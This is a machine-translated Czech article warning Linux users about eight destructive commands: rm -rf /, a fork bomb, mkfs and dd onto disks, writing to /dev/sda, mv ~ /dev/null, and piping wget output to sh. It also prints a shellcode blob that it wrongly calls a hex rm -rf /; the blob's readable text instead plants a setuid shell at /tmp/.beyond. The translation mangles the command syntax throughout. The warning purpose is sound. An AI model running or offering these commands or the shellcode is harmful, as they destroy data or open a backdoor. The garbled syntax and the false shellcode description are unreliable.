Domovská » jak » 8 Smrtící příkazy Nikdy byste neměli běžet v Linuxu

    8 Smrtící příkazy Nikdy byste neměli běžet v Linuxu

    Příkazy terminálu systému Linux jsou výkonné a Linux vás nepotřebuje žádost o potvrzení, pokud spustíte příkaz, který naruší váš systém. Není neobvyklé, že trollové online doporučují, aby noví uživatelé systému Linux spustili tyto příkazy jako vtip.

    Učení příkazů, které byste neměli spustit, vám pomohou chránit vás před trolly a zároveň zvýšit vaše chápání toho, jak funguje Linux. Není to vyčerpávající průvodce a příkazy zde mohou být remixovány různými způsoby.

    Všimněte si, že mnohé z těchto příkazů budou nebezpečné pouze tehdy, pokud jsou předzmluvné sudo na Ubuntu - nebudou fungovat jinak. V jiných distribucích Linuxu musí být většina příkazů spuštěna jako root.

    Image Credit: Skull and Crossbones remixoval od Jasona Forda na Twitteru

    rm -rf / - Odstraní vše!

    Příkaz rm -rf / odstraní vše, co to může, včetně souborů na pevném disku a souborů na připojených zařízeních s vyměnitelnými médii. Tento příkaz je pochopitelnější, pokud je rozdělen:

    rm - Odeberte následující soubory.

    -rf - Spusťte rm rekurzivně (odstranění všech souborů a složek uvnitř zadané složky) a vymažte všechny soubory bez výzvy.

    / - Říká, že rm začíná v kořenovém adresáři, který obsahuje všechny soubory v počítači a všechna připojená mediální zařízení, včetně vzdálených souborů a vyměnitelných jednotek.

    Linux bude s tímto příkazem spokojen a vše vymazat, aniž by vás vyzval, proto buďte opatrní při jeho používání! Příkaz rm lze použít i jinými nebezpečnými způsoby - rm -rf ~ by odstranili všechny soubory ve vašem domovském adresáři, zatímco rm -rf. * odstraní všechny konfigurační soubory.

    Lekce: Dávejte si pozor na rm -rf.

    Skryté rm -rf /

    Zde je další fragment kódu, který je po celém webu:

    char esp [] __attribute__ ((část (".text"))) / * e.s.p
    uvolnění * /
    = "\ Xeb \ x3 \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
    "\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
    "\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
    "\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56"
    "\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
    "\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
    "\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00"
    "Cp -p / bin / sh /tmp/. chmod 4755
    /tmp/.beyond; ";

    Toto je hex verze rm -rf / - spuštění tohoto příkazu by zničilo vaše soubory stejně, jako kdybyste spustili rm -rf /.

    Lekce: Nespouštějte podivně vypadající, zjevně skryté příkazy, které nerozumíte.

    : () : |: & ;: - Vidlicová bomba

    Následující řádek je jednoduše vypadající, ale nebezpečná bashová funkce:

    : () : |: & ;:

    Tento krátký řádek definuje funkci shellu, která vytváří nové kopie. Proces se neustále replikuje a jeho kopie se neustále replikují a rychle zaberou celý procesní čas a paměť. To může způsobit zmrazení počítače. Je to v podstatě útok na odmítnutí služby.

    Lekce: Bashové funkce jsou výkonné, dokonce i velmi krátké.

    Image Credit: Dake na Wikimedia Commons

    mkfs.ext4 / dev / sda1 - Formátuje pevný disk

    The mkfs.ext4 / dev / sda1 příkaz je snadno pochopitelný:

    mkfs.ext4 - Vytvořte nový souborový systém ext4 na následujícím zařízení.

    / dev / sda1 - Určuje první oddíl na prvním pevném disku, který je pravděpodobně používán.

    Vezmeme-li dohromady, tento příkaz může být ekvivalentní spuštěnému formátu c: v systému Windows - odstraní soubory na první oddíl a nahradí je novým systémem souborů.

    Tento příkaz může přicházet i v jiných formách - mkfs.ext3 / dev / sdb2 by formátoval druhý oddíl na druhém pevném disku s souborovým systémem ext3.

    Lekce: Dejte si pozor na běžné příkazy přímo na pevné disky, které začínají / dev / sd.

    command> / dev / sda - Přímo zapíše na pevný disk

    The command> / dev / sda line pracuje podobně - spustí příkaz a odešle výstup tohoto příkazu přímo na váš první pevný disk, zapíše data přímo na pevný disk a poškodí souborový systém.

    příkaz - Spusťte příkaz (může to být libovolný příkaz.)

    > - Odeslání výstupu příkazu do následujícího umístění.

    / dev / sda - Napište výstup příkazu přímo na zařízení s pevným diskem.

    Lekce: Stejně jako výše, dejte pozor na běh příkazů, které zahrnují zařízení s pevným diskem začínajícími s / dev / sd.

    dd if = / dev / random of = / dev / sda - Zapíše nevyžádanou potisku na pevný disk

    The dd pokud = / dev / náhodně = / dev / sda linka také vymaže data na jednom z vašich pevných disků.

    dd - Proveďte kopírování na nižší úrovni z jednoho místa na druhé.

    pokud = / dev / náhodný - Použijte příkaz / dev / random (náhodná data) jako vstup - můžete také vidět umístění jako / dev / zero (nuly).

    z = / dev / sda - Výstup na první pevný disk, nahrazení jeho souborového systému náhodnými daty odpadu.

    Lekce: dd zkopíruje data z jednoho místa do druhého, což může být nebezpečné, pokud kopírujete přímo na zařízení.

    Image Credit: Matt Rudge na Flickru

    mv ~ / dev / null - Přesune váš domovský adresář do černé díry

    / dev / null je další zvláštní místo - přesunutí něčeho do / dev / null je totéž jako jeho zničení. Přemýšlejte o / dev / null jako o černé díře. V podstatě, mv ~ / dev / null odešle všechny vaše osobní soubory do černé díry.

    mv - Přesuňte následující soubor nebo adresář do jiného umístění.

    ~ - Představuje celý domovský adresář.

    / dev / null - Přesuňte svůj domovský adresář na / dev / null, zničíte všechny soubory a odstraníte originální kopie.

    Lekce: Znak ~ představuje váš domovský adresář a přesunutí věcí do adresáře / dev / null je zničí.

    wget http://example.com/something -O - | sh - stahuje a spustí skript

    Výše uvedený řádek stahuje skript z webu a odešle jej do sh, který spouští obsah skriptu. To může být nebezpečné, pokud si nejste jisti, co je skript, nebo pokud nevěříte jeho zdroji - nespouštějte nedůvěryhodné skripty.

    wget - Stahuje soubor. (Můžete také vidět zvlnění namísto wgetu.)

    http://example.com/something - Stáhněte soubor z tohoto umístění.

    |. | - Pipe (odeslat) výstup příkazu wget (soubor, který jste stáhli) přímo do jiného příkazu.

    sh - Odeslat soubor příkazu sh, který jej provede, pokud je to bash skript.

    Lekce: Nestahujte a nespouštějte nedůvěryhodné skripty z webu, a to ani s příkazem.


    Znáte další nebezpečné příkazy, které by noví (a zkušení) uživatelé Linuxu neměli běžet? Zanechte komentář a sdílejte je!